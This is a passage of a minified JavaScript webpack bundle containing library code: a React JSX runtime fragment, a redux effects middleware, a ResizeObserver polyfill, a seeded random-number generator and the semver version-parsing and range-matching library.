t=e.defaultProps)void 0===o[r]&&(o[r]=t[r]);return{$$typeof:a,type:e,key:c,ref:u,props:o,_owner:s.current}}t.Fragment=o,t.jsx=c,t.jsxs=c},30275:function(e,t,n){"use strict";e.exports=n(24561)},24274:function(e){"use strict";function t(e,n){var r;if(Array.isArray(n))for(r=0;r<n.length;r++)t(e,n[r]);else for(r in n)e[r]=(e[r]||[]).concat(n[r])}e.exports=function(e){var n,r={};return t(r,e),(n=function(e){return function(t){return function(n){var a,o,i=r[n.type],s=t(n);if(i)for(a=0;a<i.length;a++)(o=i[a](n,e))&&e.dispatch(o);return s}}}).effects=r,n}},82298:function(e){"use strict";e.exports=function(e,t){if(t=t.split(":")[0],!(e=+e))return!1;switch(t){case"http":case"ws":return 80!==e;case"https":case"wss":return 443!==e;case"ftp":return 21!==e;case"gopher":return 70!==e;case"file":return!1}return 0!==e}},6209:function(e,t){"use strict";var n=function(){if("undefined"!=typeof Map)return Map;function e(e,t){var n=-1;return e.some((function(e,r){return e[0]===t&&(n=r,!0)})),n}return function(){function t(){this.__entries__=[]}return Object.defineProperty(t.prototype,"size",{get:function(){return this.__entries__.length},enumerable:!0,configurable:!0}),t.prototype.get=function(t){var n=e(this.__entries__,t),r=this.__entries__[n];return r&&r[1]},t.prototype.set=function(t,n){var r=e(this.__entries__,t);~r?this.__entries__[r][1]=n:this.__entries__.push([t,n])},t.prototype.delete=function(t){var n=this.__entries__,r=e(n,t);~r&&n.splice(r,1)},t.prototype.has=function(t){return!!~e(this.__entries__,t)},t.prototype.clear=function(){this.__entries__.splice(0)},t.prototype.forEach=function(e,t){void 0===t&&(t=null);for(var n=0,r=this.__entries__;n<r.length;n++){var a=r[n];e.call(t,a[1],a[0])}},t}()}(),r="undefined"!=typeof window&&"undefined"!=typeof document&&window.document===document,a="undefined"!=typeof window&&window.Math===Math?window:"undefined"!=typeof self&&self.Math===Math?self:"undefined"!=typeof window&&window.Math===Math?window:Function("return this")(),o="function"==typeof requestAnimationFrame?requestAnimationFrame.bind(a):function(e){return setTimeout((function(){return e(Date.now())}),1e3/60)};var i=["top","right","bottom","left","width","height","size","weight"],s="undefined"!=typeof MutationObserver,l=function(){function e(){this.connected_=!1,this.mutationEventsAdded_=!1,this.mutationsObserver_=null,this.observers_=[],this.onTransitionEnd_=this.onTransitionEnd_.bind(this),this.refresh=function(e,t){var n=!1,r=!1,a=0;function i(){n&&(n=!1,e()),r&&l()}function s(){o(i)}function l(){var e=Date.now();if(n){if(e-a<2)return;r=!0}else n=!0,r=!1,setTimeout(s,t);a=e}return l}(this.refresh.bind(this),20)}return e.prototype.addObserver=function(e){~this.observers_.indexOf(e)||this.observers_.push(e),this.connected_||this.connect_()},e.prototype.removeObserver=function(e){var t=this.observers_,n=t.indexOf(e);~n&&t.splice(n,1),!t.length&&this.connected_&&this.disconnect_()},e.prototype.refresh=function(){this.updateObservers_()&&this.refresh()},e.prototype.updateObservers_=function(){var e=this.observers_.filter((function(e){return e.gatherActive(),e.hasActive()}));return e.forEach((function(e){return e.broadcastActive()})),e.length>0},e.prototype.connect_=function(){r&&!this.connected_&&(document.addEventListener("transitionend",this.onTransitionEnd_),window.addEventListener("resize",this.refresh),s?(this.mutationsObserver_=new MutationObserver(this.refresh),this.mutationsObserver_.observe(document,{attributes:!0,childList:!0,characterData:!0,subtree:!0})):(document.addEventListener("DOMSubtreeModified",this.refresh),this.mutationEventsAdded_=!0),this.connected_=!0)},e.prototype.disconnect_=function(){r&&this.connected_&&(document.removeEventListener("transitionend",this.onTransitionEnd_),window.removeEventListener("resize",this.refresh),this.mutationsObserver_&&this.mutationsObserver_.disconnect(),this.mutationEventsAdded_&&document.removeEventListener("DOMSubtreeModified",this.refresh),this.mutationsObserver_=null,this.mutationEventsAdded_=!1,this.connected_=!1)},e.prototype.onTransitionEnd_=function(e){var t=e.propertyName,n=void 0===t?"":t;i.some((function(e){return!!~n.indexOf(e)}))&&this.refresh()},e.getInstance=function(){return this.instance_||(this.instance_=new e),this.instance_},e.instance_=null,e}(),c=function(e,t){for(var n=0,r=Object.keys(t);n<r.length;n++){var a=r[n];Object.defineProperty(e,a,{value:t[a],enumerable:!1,writable:!1,configurable:!0})}return e},u=function(e){return e&&e.ownerDocument&&e.ownerDocument.defaultView||a},d=b(0,0,0,0);function p(e){return parseFloat(e)||0}function m(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return t.reduce((function(t,n){return t+p(e["border-"+n+"-width"])}),0)}function h(e){var t=e.clientWidth,n=e.clientHeight;if(!t&&!n)return d;var r=u(e).getComputedStyle(e),a=function(e){for(var t={},n=0,r=["top","right","bottom","left"];n<r.length;n++){var a=r[n],o=e["padding-"+a];t[a]=p(o)}return t}(r),o=a.left+a.right,i=a.top+a.bottom,s=p(r.width),l=p(r.height);if("border-box"===r.boxSizing&&(Math.round(s+o)!==t&&(s-=m(r,"left","right")+o),Math.round(l+i)!==n&&(l-=m(r,"top","bottom")+i)),!function(e){return e===u(e).document.documentElement}(e)){var c=Math.round(s+o)-t,h=Math.round(l+i)-n;1!==Math.abs(c)&&(s-=c),1!==Math.abs(h)&&(l-=h)}return b(a.left,a.top,s,l)}var f="undefined"!=typeof SVGGraphicsElement?function(e){return e instanceof u(e).SVGGraphicsElement}:function(e){return e instanceof u(e).SVGElement&&"function"==typeof e.getBBox};function g(e){return r?f(e)?function(e){var t=e.getBBox();return b(0,0,t.width,t.height)}(e):h(e):d}function b(e,t,n,r){return{x:e,y:t,width:n,height:r}}var v=function(){function e(e){this.broadcastWidth=0,this.broadcastHeight=0,this.contentRect_=b(0,0,0,0),this.target=e}return e.prototype.isActive=function(){var e=g(this.target);return this.contentRect_=e,e.width!==this.broadcastWidth||e.height!==this.broadcastHeight},e.prototype.broadcastRect=function(){var e=this.contentRect_;return this.broadcastWidth=e.width,this.broadcastHeight=e.height,e},e}(),k=function(e,t){var n,r,a,o,i,s,l,u=(r=(n=t).x,a=n.y,o=n.width,i=n.height,s="undefined"!=typeof DOMRectReadOnly?DOMRectReadOnly:Object,l=Object.create(s.prototype),c(l,{x:r,y:a,width:o,height:i,top:a,right:r+o,bottom:i+a,left:r}),l);c(this,{target:e,contentRect:u})},y=function(){function e(e,t,r){if(this.activeObservations_=[],this.observations_=new n,"function"!=typeof e)throw new TypeError("The callback provided as parameter 1 is not a function.");this.callback_=e,this.controller_=t,this.callbackCtx_=r}return e.prototype.observe=function(e){if(!arguments.length)throw new TypeError("1 argument required, but only 0 present.");if("undefined"!=typeof Element&&Element instanceof Object){if(!(e instanceof u(e).Element))throw new TypeError('parameter 1 is not of type "Element".');var t=this.observations_;t.has(e)||(t.set(e,new v(e)),this.controller_.addObserver(this),this.controller_.refresh())}},e.prototype.unobserve=function(e){if(!arguments.length)throw new TypeError("1 argument required, but only 0 present.");if("undefined"!=typeof Element&&Element instanceof Object){if(!(e instanceof u(e).Element))throw new TypeError('parameter 1 is not of type "Element".');var t=this.observations_;t.has(e)&&(t.delete(e),t.size||this.controller_.removeObserver(this))}},e.prototype.disconnect=function(){this.clearActive(),this.observations_.clear(),this.controller_.removeObserver(this)},e.prototype.gatherActive=function(){var e=this;this.clearActive(),this.observations_.forEach((function(t){t.isActive()&&e.activeObservations_.push(t)}))},e.prototype.broadcastActive=function(){if(this.hasActive()){var e=this.callbackCtx_,t=this.activeObservations_.map((function(e){return new k(e.target,e.broadcastRect())}));this.callback_.call(e,t,e),this.clearActive()}},e.prototype.clearActive=function(){this.activeObservations_.splice(0)},e.prototype.hasActive=function(){return this.activeObservations_.length>0},e}(),E="undefined"!=typeof WeakMap?new WeakMap:new n,w=function e(t){if(!(this instanceof e))throw new TypeError("Cannot call a class as a function.");if(!arguments.length)throw new TypeError("1 argument required, but only 0 present.");var n=l.getInstance(),r=new y(t,n,this);E.set(this,r)};["observe","unobserve","disconnect"].forEach((function(e){w.prototype[e]=function(){var t;return(t=E.get(this))[e].apply(t,arguments)}}));var _=void 0!==a.ResizeObserver?a.ResizeObserver:w;t.Z=_},53191:function(e){"use strict";var t=256,n=[],r=window,a=Math.pow(t,6),o=Math.pow(2,52),i=2*o,s=t-1,l=Math.random;function c(e){var n,r=e.length,a=this,o=0,i=a.i=a.j=0,l=a.S=[];for(r||(e=[r++]);o<t;)l[o]=o++;for(o=0;o<t;o++)l[o]=l[i=s&i+e[o%r]+(n=l[o])],l[i]=n;(a.g=function(e){for(var n,r=0,o=a.i,i=a.j,l=a.S;e--;)n=l[o=s&o+1],r=r*t+l[s&(l[o]=l[i=s&i+n])+(l[i]=n)];return a.i=o,a.j=i,r})(t)}function u(e,t){var n,r=[],a=(typeof e)[0];if(t&&"o"==a)for(n in e)try{r.push(u(e[n],t-1))}catch(e){}return r.length?r:"s"==a?e:e+"\0"}function d(e,t){for(var n,r=e+"",a=0;a<r.length;)t[s&a]=s&(n^=19*t[s&a])+r.charCodeAt(a++);return p(t)}function p(e){return String.fromCharCode.apply(0,e)}e.exports=function(s,l){if(l&&!0===l.global)return l.global=!1,Math.random=e.exports(s,l),l.global=!0,Math.random;var m=[],h=(d(u(l&&l.entropy||!1?[s,p(n)]:0 in arguments?s:function(e){try{return r.crypto.getRandomValues(e=new Uint8Array(t)),p(e)}catch(e){return[+new Date,r,r.navigator&&r.navigator.plugins,r.screen,p(n)]}}(),3),m),new c(m));return d(p(h.S),n),function(){for(var e=h.g(6),n=a,r=0;e<o;)e=(e+r)*t,n*=t,r=h.g(1);for(;e>=i;)e/=2,n/=2,r>>>=1;return(e+r)/n}},e.exports.resetGlobal=function(){Math.random=l},d(Math.random(),n)},49079:function(e,t,n){const r=Symbol("SemVer ANY");class a{static get ANY(){return r}constructor(e,t){if(t=o(t),e instanceof a){if(e.loose===!!t.loose)return e;e=e.value}c("comparator",e,t),this.options=t,this.loose=!!t.loose,this.parse(e),this.semver===r?this.value="":this.value=this.operator+this.semver.version,c("comp",this)}parse(e){const t=this.options.loose?i[s.COMPARATORLOOSE]:i[s.COMPARATOR],n=e.match(t);if(!n)throw new TypeError(`Invalid comparator: ${e}`);this.operator=void 0!==n[1]?n[1]:"","="===this.operator&&(this.operator=""),n[2]?this.semver=new u(n[2],this.options.loose):this.semver=r}toString(){return this.value}test(e){if(c("Comparator.test",e,this.options.loose),this.semver===r||e===r)return!0;if("string"==typeof e)try{e=new u(e,this.options)}catch(e){return!1}return l(e,this.operator,this.semver,this.options)}intersects(e,t){if(!(e instanceof a))throw new TypeError("a Comparator is required");if(t&&"object"==typeof t||(t={loose:!!t,includePrerelease:!1}),""===this.operator)return""===this.value||new d(e.value,t).test(this.value);if(""===e.operator)return""===e.value||new d(this.value,t).test(e.semver);const n=!(">="!==this.operator&&">"!==this.operator||">="!==e.operator&&">"!==e.operator),r=!("<="!==this.operator&&"<"!==this.operator||"<="!==e.operator&&"<"!==e.operator),o=this.semver.version===e.semver.version,i=!(">="!==this.operator&&"<="!==this.operator||">="!==e.operator&&"<="!==e.operator),s=l(this.semver,"<",e.semver,t)&&(">="===this.operator||">"===this.operator)&&("<="===e.operator||"<"===e.operator),c=l(this.semver,">",e.semver,t)&&("<="===this.operator||"<"===this.operator)&&(">="===e.operator||">"===e.operator);return n||r||o&&i||s||c}}e.exports=a;const o=n(14916),{re:i,t:s}=n(11037),l=n(86574),c=n(29262),u=n(8693),d=n(53538)},53538:function(e,t,n){class r{constructor(e,t){if(t=o(t),e instanceof r)return e.loose===!!t.loose&&e.includePrerelease===!!t.includePrerelease?e:new r(e.raw,t);if(e instanceof i)return this.raw=e.value,this.set=[[e]],this.format(),this;if(this.options=t,this.loose=!!t.loose,this.includePrerelease=!!t.includePrerelease,this.raw=e,this.set=e.split(/\s*\|\|\s*/).map((e=>this.parseRange(e.trim()))).filter((e=>e.length)),!this.set.length)throw new TypeError(`Invalid SemVer Range: ${e}`);if(this.set.length>1){const e=this.set[0];if(this.set=this.set.filter((e=>!h(e[0]))),0===this.set.length)this.set=[e];else if(this.set.length>1)for(const e of this.set)if(1===e.length&&f(e[0])){this.set=[e];break}}this.format()}format(){return this.range=this.set.map((e=>e.join(" ").trim())).join("||").trim(),this.range}toString(){return this.range}parseRange(e){e=e.trim();const t=`parseRange:${Object.keys(this.options).join(",")}:${e}`,n=a.get(t);if(n)return n;const r=this.options.loose,o=r?c[u.HYPHENRANGELOOSE]:c[u.HYPHENRANGE];e=e.replace(o,x(this.options.includePrerelease)),s("hyphen replace",e),e=e.replace(c[u.COMPARATORTRIM],d),s("comparator trim",e,c[u.COMPARATORTRIM]),e=(e=(e=e.replace(c[u.TILDETRIM],p)).replace(c[u.CARETTRIM],m)).split(/\s+/).join(" ");const l=r?c[u.COMPARATORLOOSE]:c[u.COMPARATOR],f=e.split(" ").map((e=>b(e,this.options))).join(" ").split(/\s+/).map((e=>j(e,this.options))).filter(this.options.loose?e=>!!e.match(l):()=>!0).map((e=>new i(e,this.options))),g=(f.length,new Map);for(const e of f){if(h(e))return[e];g.set(e.value,e)}g.size>1&&g.has("")&&g.delete("");const v=[...g.values()];return a.set(t,v),v}intersects(e,t){if(!(e instanceof r))throw new TypeError("a Range is required");return this.set.some((n=>g(n,t)&&e.set.some((e=>g(e,t)&&n.every((n=>e.every((e=>n.intersects(e,t)))))))))}test(e){if(!e)return!1;if("string"==typeof e)try{e=new l(e,this.options)}catch(e){return!1}for(let t=0;t<this.set.length;t++)if(P(this.set[t],e,this.options))return!0;return!1}}e.exports=r;const a=new(n(82746))({max:1e3}),o=n(14916),i=n(49079),s=n(29262),l=n(8693),{re:c,t:u,comparatorTrimReplace:d,tildeTrimReplace:p,caretTrimReplace:m}=n(11037),h=e=>"<0.0.0-0"===e.value,f=e=>""===e.value,g=(e,t)=>{let n=!0;const r=e.slice();let a=r.pop();for(;n&&r.length;)n=r.every((e=>a.intersects(e,t))),a=r.pop();return n},b=(e,t)=>(s("comp",e,t),e=E(e,t),s("caret",e),e=k(e,t),s("tildes",e),e=_(e,t),s("xrange",e),e=S(e,t),s("stars",e),e),v=e=>!e||"x"===e.toLowerCase()||"*"===e,k=(e,t)=>e.trim().split(/\s+/).map((e=>y(e,t))).join(" "),y=(e,t)=>{const n=t.loose?c[u.TILDELOOSE]:c[u.TILDE];return e.replace(n,((t,n,r,a,o)=>{let i;return s("tilde",e,t,n,r,a,o),v(n)?i="":v(r)?i=`>=${n}.0.0 <${+n+1}.0.0-0`:v(a)?i=`>=${n}.${r}.0 <${n}.${+r+1}.0-0`:o?(s("replaceTilde pr",o),i=`>=${n}.${r}.${a}-${o} <${n}.${+r+1}.0-0`):i=`>=${n}.${r}.${a} <${n}.${+r+1}.0-0`,s("tilde return",i),i}))},E=(e,t)=>e.trim().split(/\s+/).map((e=>w(e,t))).join(" "),w=(e,t)=>{s("caret",e,t);const n=t.loose?c[u.CARETLOOSE]:c[u.CARET],r=t.includePrerelease?"-0":"";return e.replace(n,((t,n,a,o,i)=>{let l;return s("caret",e,t,n,a,o,i),v(n)?l="":v(a)?l=`>=${n}.0.0${r} <${+n+1}.0.0-0`:v(o)?l="0"===n?`>=${n}.${a}.0${r} <${n}.${+a+1}.0-0`:`>=${n}.${a}.0${r} <${+n+1}.0.0-0`:i?(s("replaceCaret pr",i),l="0"===n?"0"===a?`>=${n}.${a}.${o}-${i} <${n}.${a}.${+o+1}-0`:`>=${n}.${a}.${o}-${i} <${n}.${+a+1}.0-0`:`>=${n}.${a}.${o}-${i} <${+n+1}.0.0-0`):(s("no pr"),l="0"===n?"0"===a?`>=${n}.${a}.${o}${r} <${n}.${a}.${+o+1}-0`:`>=${n}.${a}.${o}${r} <${n}.${+a+1}.0-0`:`>=${n}.${a}.${o} <${+n+1}.0.0-0`),s("caret return",l),l}))},_=(e,t)=>(s("replaceXRanges",e,t),e.split(/\s+/).map((e=>C(e,t))).join(" ")),C=(e,t)=>{e=e.trim();const n=t.loose?c[u.XRANGELOOSE]:c[u.XRANGE];return e.replace(n,((n,r,a,o,i,l)=>{s("xRange",e,n,r,a,o,i,l);const c=v(a),u=c||v(o),d=u||v(i),p=d;return"="===r&&p&&(r=""),l=t.includePrerelease?"-0":"",c?n=">"===r||"<"===r?"<0.0.0-0":"*":r&&p?(u&&(o=0),i=0,">"===r?(r=">=",u?(a=+a+1,o=0,i=0):(o=+o+1,i=0)):"<="===r&&(r="<",u?a=+a+1:o=+o+1),"<"===r&&(l="-0"),n=`${r+a}.${o}.${i}${l}`):u?n=`>=${a}.0.0${l} <${+a+1}.0.0-0`:d&&(n=`>=${a}.${o}.0${l} <${a}.${+o+1}.0-0`),s("xRange return",n),n}))},S=(e,t)=>(s("replaceStars",e,t),e.trim().replace(c[u.STAR],"")),j=(e,t)=>(s("replaceGTE0",e,t),e.trim().replace(c[t.includePrerelease?u.GTE0PRE:u.GTE0],"")),x=e=>(t,n,r,a,o,i,s,l,c,u,d,p,m)=>`${n=v(r)?"":v(a)?`>=${r}.0.0${e?"-0":""}`:v(o)?`>=${r}.${a}.0${e?"-0":""}`:i?`>=${n}`:`>=${n}${e?"-0":""}`} ${l=v(c)?"":v(u)?`<${+c+1}.0.0-0`:v(d)?`<${c}.${+u+1}.0-0`:p?`<=${c}.${u}.${d}-${p}`:e?`<${c}.${u}.${+d+1}-0`:`<=${l}`}`.trim(),P=(e,t,n)=>{for(let n=0;n<e.length;n++)if(!e[n].test(t))return!1;if(t.prerelease.length&&!n.includePrerelease){for(let n=0;n<e.length;n++)if(s(e[n].semver),e[n].semver!==i.ANY&&e[n].semver.prerelease.length>0){const r=e[n].semver;if(r.major===t.major&&r.minor===t.minor&&r.patch===t.patch)return!0}return!1}return!0}},8693:function(e,t,n){const r=n(29262),{MAX_LENGTH:a,MAX_SAFE_INTEGER:o}=n(80581),{re:i,t:s}=n(11037),l=n(14916),{compareIdentifiers:c}=n(68693);class u{constructor(e,t){if(t=l(t),e instanceof u){if(e.loose===!!t.loose&&e.includePrerelease===!!t.includePrerelease)return e;e=e.version}else if("string"!=typeof e)throw new TypeError(`Invalid Version: ${e}`);if(e.length>a)throw new TypeError(`version is longer than ${a} characters`);r("SemVer",e,t),this.options=t,this.loose=!!t.loose,this.includePrerelease=!!t.includePrerelease;const n=e.trim().match(t.loose?i[s.LOOSE]:i[s.FULL]);if(!n)throw new TypeError(`Invalid Version: ${e}`);if(this.raw=e,this.major=+n[1],this.minor=+n[2],this.patch=+n[3],this.major>o||this.major<0)throw new TypeError("Invalid major version");if(this.minor>o||this.minor<0)throw new TypeError("Invalid minor version");if(this.patch>o||this.patch<0)throw new TypeError("Invalid patch version");n[4]?this.prerelease=n[4].split(".").map((e=>{if(/^[0-9]+$/.test(e)){const t=+e;if(t>=0&&t<o)return t}return e})):this.prerelease=[],this.build=n[5]?n[5].split("."):[],this.format()}format(){return this.version=`${this.major}.${this.minor}.${this.patch}`,this.prerelease.length&&(this.version+=`-${this.prerelease.join(".")}`),this.version}toString(){return this.version}compare(e){if(r("SemVer.compare",this.version,this.options,e),!(e instanceof u)){if("string"==typeof e&&e===this.version)return 0;e=new u(e,this.options)}return e.version===this.version?0:this.compareMain(e)||this.comparePre(e)}compareMain(e){return e instanceof u||(e=new u(e,this.options)),c(this.major,e.major)||c(this.minor,e.minor)||c(this.patch,e.patch)}comparePre(e){if(e instanceof u||(e=new u(e,this.options)),this.prerelease.length&&!e.prerelease.length)return-1;if(!this.prerelease.length&&e.prerelease.length)return 1;if(!this.prerelease.length&&!e.prerelease.length)return 0;let t=0;do{const n=this.prerelease[t],a=e.prerelease[t];if(r("prerelease compare",t,n,a),void 0===n&&void 0===a)return 0;if(void 0===a)return 1;if(void 0===n)return-1;if(n!==a)return c(n,a)}while(++t)}compareBuild(e){e instanceof u||(e=new u(e,this.options));let t=0;do{const n=this.build[t],a=e.build[t];if(r("prerelease compare",t,n,a),void 0===n&&void 0===a)return 0;if(void 0===a)return 1;if(void 0===n)return-1;if(n!==a)return c(n,a)}while(++t)}inc(e,t){switch(e){case"premajor":this.prerelease.length=0,this.patch=0,this.minor=0,this.major++,this.inc("pre",t);break;case"preminor":this.prerelease.length=0,this.patch=0,this.minor++,this.inc("pre",t);break;case"prepatch":this.prerelease.length=0,this.inc("patch",t),this.inc("pre",t);break;case"prerelease":0===this.prerelease.length&&this.inc("patch",t),this.inc("pre",t);break;case"major":0===this.minor&&0===this.patch&&0!==this.prerelease.length||this.major++,this.minor=0,this.patch=0,this.prerelease=[];break;case"minor":0===this.patch&&0!==this.prerelease.length||this.minor++,this.patch=0,this.prerelease=[];break;case"patch":0===this.prerelease.length&&this.patch++,this.prerelease=[];break;case"pre":if(0===this.prerelease.length)this.prerelease=[0];else{let e=this.prerelease.length;for(;--e>=0;)"number"==typeof this.prerelease[e]&&(this.prerelease[e]++,e=-2);-1===e&&this.prerelease.push(0)}t&&(this.prerelease[0]===t?isNaN(this.prerelease[1])&&(this.prerelease=[t,0]):this.prerelease=[t,0]);break;default:throw new Error(`invalid increment argument: ${e}`)}return this.format(),this.raw=this.version,this}}e.exports=u},20881:function(e,t,n){const r=n(82323);e.exports=(e,t)=>{const n=r(e.trim().replace(/^[=v]+/,""),t);return n?n.version:null}},86574:function(e,t,n){const r=n(16825),a=n(80525),o=n(59590),i=n(33408),s=n(58546),l=n(66123);e.exports=(e,t,n,c)=>{switch(t){case"===":return"object"==typeof e&&(e=e.version),"object"==typeof n&&(n=n.version),e===n;case"!==":return"object"==typeof e&&(e=e.version),"object"==typeof n&&(n=n.version),e!==n;case"":case"=":case"==":return r(e,n,c);case"!=":return a(e,n,c);case">":return o(e,n,c);case">=":return i(e,n,c);case"<":return s(e,n,c);case"<=":return l(e,n,c);default:throw new TypeError(`Invalid operator: ${t}`)}}},36171:function(e,t,n){const r=n(8693),a=n(82323),{re:o,t:i}=n(11037);e.exports=(e,t)=>{if(e instanceof r)return e;if("number"==typeof e&&(e=String(e)),"string"!=typeof e)return null;let n=null;if((t=t||{}).rtl){let t;for(;(t=o[i.COERCERTL].exec(e))&&(!n||n.index+n[0].length!==e.length);)n&&t.index+t[0].length===n.index+n[0].length||(n=t),o[i.COERCERTL].lastIndex=t.index+t[1].length+t[2].length;o[i.COERCERTL].lastIndex=-1}else n=e.match(o[i.COERCE]);return null===n?null:a(`${n[2]}.${n[3]||"0"}.${n[4]||"0"}`,t)}},51310:function(e,t,n){const r=n(8693);e.exports=(e,t,n)=>{const a=new r(e,n),o=new r(t,n);return a.compare(o)||a.compareBuild(o)}},84773:function(e,t,n){const r=n(256);e.exports=(e,t)=>r(e,t,!0)},256:function(e,t,n){const r=n(8693);e.exports=(e,t,n)=>new r(e,n).compare(new r(t,n))},86690:function(e,t,n){const r=n(82323),a=n(16825);e.exports=(e,t)=>{if(a(e,t))return null;{const n=r(e),a=r(t),o=n.prerelease.length||a.prerelease.length,i=o?"pre":"",s=o?"prerelease":"";for(const e in n)if(("major"===e||"minor"===e||"patch"===e)&&n[e]!==a[e])return i+e;return s}}},16825:function(e,t,n){const r=n(256);e.exports=(e,t,n)=>0===r(e,t,n)},59590:function(e,t,n){const r=n(256);e.exports=(e,t,n)=>r(e,t,n)>0},33408:function(e,t,n){const r=n(256);e.exports=(e,t,n)=>r(e,t,n)>=0},73469:function(e,t,n){const r=n(8693);e.exports=(e,t,n,a)=>{"string"==typeof n&&(a=n,n=void 0);try{return new r(e,n).inc(t,a).version}catch(e){return null}}},58546:function(e,t,n){const r=n(256);e.exports=(e,t,n)=>r(e,t,n)<0},66123:function(e,t,n){const r=n(256);e.exports=(e,t,n)=>r(e,t,n)<=0},20651:function(e,t,n){const r=n(8693);e.exports=(e,t)=>new r(e,t).major},3857:function(e,t,n){const r=n(8693);e.exports=(e,t)=>new r(e,t).minor},80525:function(e,t,n){const r=n(256);e.exports=(e,t,n)=>0!==r(e,t,n)},82323:function(e,t,n){const{MAX_LENGTH:r}=n(80581),{re:a,t:o}=n(11037),i=n(8693),s=n(14916);e.exports=(e,t)=>{if(t=s(t),e instanceof i)return e;if("string"!=typeof e)return null;if(e.length>r)return null;if(!(t.loose?a[o.LOOSE]:a[o.FULL]).test(e))return null;try{return new i(e,t)}catch(e){return null}}},23982:function(e,t,n){const r=n(8693);e.exports=(e,t)=>new r(e,t).patch},57665:function(e,t,n){const r=n(82323);e.exports=(e,t)=>{const n=r(e,t);return n&&n.prerelease.length?n.prerelease:null}},48824:function(e,t,n){const r=n(256);e.exports=(e,t,n)=>r(t,e,n)},3135:function(e,t,n){const r=n(51310);e.exports=(e,t)=>e.sort(((e,n)=>r(n,e,t)))},44938:function(e,t,n){const r=n(53538);e.exports=(e,t,n)=>{try{t=new r(t,n)}catch(e){return!1}return t.test(e)}},13782:function(e,t,n){const r=n(51310);e.exports=(e,t)=>e.sort(((e,n)=>r(e,n,t)))},75652:function(e,t,n){const r=n(82323);e.exports=(e,t)=>{const n=r(e,t);return n?n.version:null}},55589:function(e,t,n){const r=n(11037);e.exports={re:r.re,src:r.src,tokens:r.t,SEMVER_SPEC_VERSION:n(80581).SEMVER_SPEC_VERSION,SemVer:n(8693),compareIdentifiers:n(68693).compareIdentifiers,rcompareIdentifiers:n(68693).rcompareIdentifiers,parse:n(82323),valid:n(75652),clean:n(20881),inc:n(73469),diff:n(86690),major:n(20651),minor:n(3857),patch:n(23982),prerelease:n(57665),compare:n(256),rcompare:n(48824),compareLoose:n(84773),compareBuild:n(51310),sort:n(13782),rsort:n(3135),gt:n(59590),lt:n(58546),eq:n(16825),neq:n(80525),gte:n(33408),lte:n(66123),cmp:n(86574),coerce:n(36171),Comparator:n(49079),Range:n(53538),satisfies:n(44938),toComparators:n(35559),maxSatisfying:n(43912),minSatisfying:n(80887),minVersion:n(77124),validRange:n(13228),outside:n(62051),gtr:n(48118),ltr:n(80382),intersects:n(27445),simplifyRange:n(19282),subset:n(79910)}},80581:function(e){const t=Number.MAX_SAFE_INTEGER||9007199254740991;e.exports={SEMVER_SPEC_VERSION:"2.0.0",MAX_LENGTH:256,MAX_SAFE_INTEGER:t,MAX_SAFE_COMPONENT_LENGTH:16}},29262:function(e){const t="object"==typeof process&&process.env&&process.env.NODE_DEBUG&&/\bsemver\b/i.test(process.env.NODE_DEBUG)?(...e)=>console.error("SEMVER",...e):()=>{};e.exports=t},68693:function(e){const t=/^[0-9]+$/,n=(e,n)=>{const r=t.test(e),a=t.test(n);return r&&a&&(e=+e,n=+n),e===n?0:r&&!a?-1:a&&!r?1:e<n?-1:1};e.exports={compareIdentifiers:n,rcompareIdentifiers:(e,t)=>n(t,e)}},14916:function(e){const t=["includePrerelease","loose","rtl"];e.exports=e=>e?"object"!=typeof e?{loose:!0}:t.filter((t=>e[t])).reduce(((e,t)=>(e[t]=!0,e)),{}):{}},11037:function(e,t,n){const{MAX_SAFE_COMPONENT_LENGTH:r}=n(80581),a=n(29262),o=(t=e.exports={}).re=[],i=t.src=[],s=t.t={};let l=0;const c=(e,t,n)=>{const r=l++;a(r,t),s[e]=r,i[r]=t,o[r]=new RegExp(t,n?"g":void 0)};c("NUMERICIDENTIFIER","0|[1-9]\\d*"),c("NUMERICIDENTIFIERLOOSE","[0-9]+"),c("NONNUMERICIDENTIFIER","\\d*[a-zA-Z-][a-zA-Z0-9-]*"),c("MAINVERSION",`(${i[s.NUMERICIDENTIFIER]})\\.(${i[s.NUMERICIDENTIFIER]})\\.(${i[s.NUMERICIDENTIFIER]})`),c("MAINVERSIONLOOSE",`(${i[s.NUMERICIDENTIFIERLOOSE]})\\.(${i[s.NUMERICIDENTIFIERLOOSE]})\\.(${i[s.NUMERICIDENTIFIERLOOSE]})`),c("PRERELEASEIDENTIFIER",`(?:${i[s.NUMERICIDENTIFIER]}|${i[s.NONNUMERICIDENTIFIER]})`),c("PRERELEASEIDENTIFIERLOOSE",`(?:${i[s.NUMERICIDENTIFIERLOOSE]}|${i[s.NONNUMERICIDENTIFIER]})`),c("PRERELEASE",`(?:-(${i[s.PRERELEASEIDENTIFIER]}(?:\\.${i[s.PRERELEASEIDENTIFIER]})*))`),c("PRERELEASELOOSE",`(?:-?(${i[s.PRERELEASEIDENTIFIERLOOSE]}(?:\\.${i[s.PRERELEASEIDENTIFIERLOOSE]})*))`),c("BUILDIDENTIFIER","[0-9A-Za-z-]+"),c("BUILD",`(?:\\+(${i[s.BUILDIDENTIFIER]}(?:\\.${i[s.BUILDIDENTIFIER]})*))`),c("FULLPLAIN",`v?${i[s.MAINVERSION]}${i[s.PRERELEASE]}?${i[s.BUILD]}?`),c("FULL",`^${i[s.FULLPLAIN]}$`),c("LOOSEPLAIN",`[v=\\s]*${i[s.MAINVERSIONLOOSE]}${i[s.PRERELEASELOOSE]}?${i[s.BUILD]}?`),c("LOOSE",`^${i[s.LOOSEPLAIN]}$`),c("GTLT","((?:<|>)?=?)"),c("XRANGEIDENTIFIERLOOSE",`${i[s.NUMERICIDENTIFIERLOOSE]}|x|X|\\*`),c("XRANGEIDENTIFIER",`${i[s.NUMERICIDENTIFIER]}|x|X|\\*`),c("XRANGEPLAIN",`[v=\\s]*(${i[s.XRANGEIDENTIFIER]})(?:\\.(${i[s.XRANGEIDENTIFIER]})(?:\\.(${i[s.XRANGEIDENTIFIER]})(?:${i[s.PRERELEASE]})?${i[s.BUILD]}?)?)?`),c("XRANGEPLAINLOOSE",`[v=\\s]*(${i[s.XRANGEIDENTIFIERLOOSE]})(?:\\.(${i[s.XRANGEIDENTIFIERLOOSE]})(?:\\.(${i[s.XRANGEIDENTIFIERLOOSE]})(?:${i[s.PRERELEASELOOSE]})?${i[s.BUILD]}?)?)?`),c("XRANGE",`^${i[s.GTLT]}\\s*${i[s.XRANGEPLAIN]}$`),c("XRANGELOOSE",`^${i[s.GTLT]}\\s*${i[s.XRANGEPLAINLOOSE]}$`),c("COERCE",`(^|[^\\d])(\\d{1,${r}}